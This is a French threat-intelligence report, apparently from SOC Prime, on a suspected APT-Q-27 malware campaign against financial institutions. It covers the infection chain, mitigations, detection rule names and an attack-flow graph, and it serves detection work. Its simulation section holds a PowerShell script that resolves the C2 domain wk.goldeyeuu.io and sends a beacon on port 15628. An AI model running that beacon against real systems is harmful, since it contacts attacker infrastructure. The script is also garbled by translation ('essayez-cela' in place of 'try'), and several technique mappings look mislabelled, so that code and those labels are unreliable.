SOC Prime Bias: Critique

10 Fév 2026 16:46

Analyse de programme malveillant suspect lié à APT-Q-27 ciblant les institutions financières

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

La campagne présente une chaîne d’infection en plusieurs étapes qui commence par un lien de phishing déguisé en téléchargement d’image, qui livre en réalité un .pif de déploiement. La charge utile initiale est un exécutable .NET lourdement obscurci, signé avec un certificat légitime qui a ensuite été révoqué—ce qui permet de contourner les contrôles basés sur la réputation dans un premier temps. Après l’exécution, il met en scène des composants à l’intérieur d’un répertoire conçu pour ressembler à un cache de mise à jour de Windows, puis passe à une exécution en mémoire uniquement pour réduire les preuves sur disque. Le résultat final est une porte dérobée modulaire qui privilégie la discrétion et l’évasion, maintenant l’accès par une persistance basée sur des services tout en tentant d’éviter les détections de signatures communes.

Enquête

Les analystes de CyStack ont retracé l’URL de livraison initiale jusqu’à une infrastructure hébergée sur storage.googleapis.com et ont récupéré des artefacts en cours de mise en scène—updat.exe, crashreport.dll, et updat.log—d’un dossier caché semblable à un cache. Le déploiement établit une persistance de base via une valeur de registre Run et enregistre ensuite un service Windows nommé Windows Eventn pour maintenir une exécution à long terme. La porte dérobée met en œuvre des vérifications anti-analyse, tente une élévation de privilèges, et modifie les paramètres liés à l’UAC pour réduire les invites utilisateur. Un trafic de commande-et-contrôle a été observé sur le port 15628, et les enquêteurs ont extrait des indicateurs prêts à être détectés incluant des noms de fichiers, des chemins de registre, des identifiants de service, et des chaînes user-agent distinctives.

Atténuation

Appliquez des contrôles de téléchargement stricts pour bloquer les fichiers .pif et appliquez une validation de type de contenu afin que les liens « image » ne puissent pas livrer secrètement des exécutables. Renforcez l’application de la signature de code en validant le statut de révocation et les horodatages des certificats lors de l’exécution. Surveillez les répertoires de cache cachés « semblables à une mise à jour Windows » et alertez sur les ajouts de clés Run inattendus ou les évènements de création de services suspects. Verrouillez les paramètres de politique UAC et audit régulier des modifications aux clés de politique de registre pertinentes.

Réponse

Si une activité est détectée, isolez le point de terminaison immédiatement et collectez les artefacts judiciaires (image mémoire, ruches de registre et preuves de système de fichiers) avant de procéder à une remédiation. Terminez et supprimez le service malveillant Windows Eventn et examinez l’environnement pour les indicateurs récupérés—en particulier les fichiers en cours de mise en scène cachés, une utilisation potentielle de mutex, et toute trace de chargement DLL. Réinitialisez les crédences potentiellement exposées, révisez l’activité des comptes privilégiés pour détecter un abus, et mettez à jour les détections à travers EDR/SIEM avec les IOC extraits.

"graph TB %% Section des définitions de classe classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Définitions des nœuds action_phishing["<b>Action</b> – <b>T1566.002 Phishing: Lien de Spearphishing</b><br/><b>Description</b> : L’attaquant envoie une URL qui semble pointer vers une image mais livre un fichier .pif malveillant.<br/><b>Artefact</b> : .pif malveillant livré en tant que lien d’image"] class action_phishing action action_user_exec["<b>Action</b> – <b>T1204.002 Exécution par l’utilisateur : Fichier malveillant</b><br/><b>Description</b> : La victime clique sur le lien et exécute le fichier .pif.<br/><b>Artefact</b> : .pif exécuté"] class action_user_exec action malware_dropper["<b>Malware</b> – Déposeur (signé)<br/><b>Technique</b> : T1553.002 Signature de code<br/><b>Description</b> : Le déposeur et la DLL accompagnante sont signés avec un certificat valide pour échapper aux contrôles de réputation"] class malware_dropper malware tool_masq_filetype["<b>Outil</b> – Fichier .pif masqué<br/><b>Technique</b> : T1036.008 Floraison de type de fichier<br/><b>Description</b> : .pif renommé avec l’extension .jpg pour ressembler à une image"] class tool_masq_filetype tool tool_masq_location["<b>Outil</b> – Dossier de cache de mise à jour factice<br/><b>Technique</b> : T1036.005 Faire correspondre le nom ou l’emplacement d’une ressource légitime<br/><b>Description</b> : La charge est placée dans un dossier caché imitant le cache de mise à jour Windows"] class tool_masq_location tool process_proxy["<b>Processus</b> – Binaire système signé<br/><b>Technique</b> : T1218 Exécution de proxy binaire système<br/><b>Description</b> : Les binaires signés légitimes lancent le déposeur sans alarme"] class process_proxy process malware_obfusc["<b>Malware</b> – Déposeur obfusqué<br/><b>Technique</b> : T1027.007 Résolution dynamique d’API<br/><b>Description</b> : Utilise plusieurs couches de Base64 et un décodage de chaîne à l’exécution pour masquer les URLs et commandes"] class malware_obfusc malware tool_hide_dir["<b>Outil</b> – Répertoire de mise en scène caché<br/><b>Technique</b> : T1564.001 Fichiers et répertoires cachés<br/><b>Description</b> : Répertoire marqué Comme caché et non indexable"] class tool_hide_dir tool action_persistence["<b>Action</b> – T1547.014 Persistance par configuration active<br/><b>Description</b> : Crée une clé de registre Run nommée SystemOptimizer pour la persistance de connexion"] class action_persistence action malware_injection["<b>Malware</b> – DLL CrashReport<br/><b>Technique</b> : T1055.001 Injection de DLL (chargement annexe)<br/><b>Description</b> : updat.exe charge le crashreport.dll malveillant par chargement annexe"] class malware_injection malware process_appcert["<b>Processus</b> – Chargement d’AppCert DLL<br/><b>Technique</b> : T1546.009 DLLs AppCert<br/><b>Description</b> : Le chargement du crashreport.dll depuis le chemin de mise en scène déclenche du code malveillant dans un processus légitime"] class process_appcert process action_uac_bypass["<b>Action</b> – T1548.002 Contourner le contrôle de compte utilisateur<br/><b>Description</b> : La porte dérobée modifie les clés de registre UAC et se réexécute avec des privilèges élevés"] class action_uac_bypass action action_clear_logs["<b>Action</b> – T1070.001 Effacer les journaux d’événements Windows<br/><b>Description</b> : La porte dérobée supprime les journaux d’événements Windows pour cacher l’activité"] class action_clear_logs action %% Connexions montrant le flux action_phishing –>|conduit à| action_user_exec action_user_exec –>|exécute| malware_dropper malware_dropper –>|utilise| tool_masq_filetype malware_dropper –>|utilise| tool_masq_location malware_dropper –>|lancé par| process_proxy malware_dropper –>|contient| malware_obfusc malware_obfusc –>|stocke dans| tool_hide_dir tool_hide_dir –>|permet| action_persistence action_persistence –>|crée| process_proxy malware_dropper –>|charge| malware_injection malware_injection –>|injeté dans| process_appcert process_appcert –>|déclenche| action_uac_bypass action_uac_bypass –>|efface| action_clear_logs %% Style class action_phishing,action_user_exec,action_persistence,action_uac_bypass,action_clear_logs action class malware_dropper,malware_obfusc,malware_injection malware class tool_masq_filetype,tool_masq_location,tool_hide_dir tool class process_proxy,process_appcert process "

Flux d’attaque

Détections

Tentative de désactivation de l’invite de bureau sécurisé (via événement_registre)

Équipe SOC Prime
09 févr. 2026

Points de persistance possibles [ASEPs – Ruche Software/NTUSER] (via événement_registre)

Équipe SOC Prime
09 févr. 2026

Tentative de désactivation de l’UAC (via événement_registre)

Équipe SOC Prime
09 févr. 2026

Extension inhabituelle de binaire exécutable (via création_processus)

Équipe SOC Prime
09 févr. 2026

Désactivation de l’Administrateur du Consentement (via événement_registre)

Équipe SOC Prime
09 févr. 2026

IOC (SourceIP) à détecter : Analyse de logiciels malveillants présumés liés à APT-Q-27 ciblant des institutions financières Partie 1

Règles SOC Prime AI
09 févr. 2026

IOC (HashMd5) à détecter : Analyse de logiciels malveillants présumés liés à APT-Q-27 ciblant des institutions financières

Règles SOC Prime AI
09 févr. 2026

IOC (SourceIP) à détecter : Analyse de logiciels malveillants présumés liés à APT-Q-27 ciblant des institutions financières Partie 2

Règles SOC Prime AI
09 févr. 2026

IOC (DestinationIP) à détecter : Analyse de logiciels malveillants présumés liés à APT-Q-27 ciblant des institutions financières Partie 1

Règles SOC Prime AI
09 févr. 2026

IOC (DestinationIP) à détecter : Analyse de logiciels malveillants présumés liés à APT-Q-27 ciblant des institutions financières Partie 2

Règles SOC Prime AI
09 févr. 2026

Exécution de déposeur malveillant via .pif et étapes de chargeur [Création de processus Windows]

Règles SOC Prime AI
09 févr. 2026

Détecter la communication de C2 avec wk.goldeyeuu.io et le port 15628 [Connexion réseau Windows]

Règles SOC Prime AI
09 févr. 2026

Exécution simulée

Prérequis : Le contrôle préliminaire de télémétrie & base doit avoir été passé.

Motif : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) destinée à déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.

  • Narratif de l’attaque & Commandes :
    Un attaquant qui a acquis un point d’appui initial sur l’hôte Windows souhaite établir un tunnel C2 caché vers l’infrastructure APT-Q-27. Utilisant une porte dérobée PowerShell personnalisée, l’opérateur résout le domaine codé en dur wk.goldeyeuu.io et ouvre une connexion TCP sur le port 15628. Le trafic est autorisé en sortie par le pare-feu, et comme la connexion utilise un port non standard, il se distingue dans les journaux du pare-feu. L’attaquant transmet ensuite des commandes encodées sur ce canal (T1059) pour exécuter d’autres charges.

    Étape par étape :

    1. Résolvez le domaine C2 pour vérifier que le DNS fonctionne.
    2. Ouvrez une prise TCP brute à l’adresse IP résolue sur le port 15628.
    3. Envoyez une charge utile « ping » simple pour confirmer la connectivité (en simulant un beacon).
  • Script de test de régression :

    # -----------------------------------------------------------------------------------------------------------------
    # Simulate Communication C2 vers wk.goldeyeuu.io sur le port 15628
    # -----------------------------------------------------------------------------------------------------------------
    # Résolution du domaine malveillant (censé retourner une IP contrôlée par l'équipe rouge)
    $c2Domain = "wk.goldeyeuu.io"
    essayez-cela {
        $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) |
                 Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } |
                 Select-Object -First 1
    } catch {
        Write-Error "Échec de la résolution DNS pour $c2Domain"
        exit 1
    }
    
    # Établir une connexion TCP sur le port non standard 15628
    $c2Port = 15628
    $client = New-Object System.Net.Sockets.TcpClient
    essayez-cela {
        $client.Connect($c2IP.IPAddressToString, $c2Port)
        Write-Host "Connecté à $c2Domain ($($c2IP.IPAddressToString)) :$c2Port"
    } catch {
        Write-Error "Échec de la connexion à $c2Domain sur le port $c2Port"
        exit 1
    }
    
    # Envoyer une charge utile simple de balise (ASCII "PING") et fermer la connexion
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::ASCII.GetBytes("PING")
    $stream.Write($payload, 0, $payload.Length)
    $stream.Flush()
    Write-Host "Charge utile de balise envoyée."
    
    # Nettoyage
    $stream.Close()
    $client.Close()
    # -----------------------------------------------------------------------------------------------------------------
  • Commandes de nettoyage :

    # Assurez-vous que les connexions TCP persistantes sont fermées (mesure défensive pour l'environnement de test)
    Get-NetTCPConnection -RemotePort 15628 -State Established |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }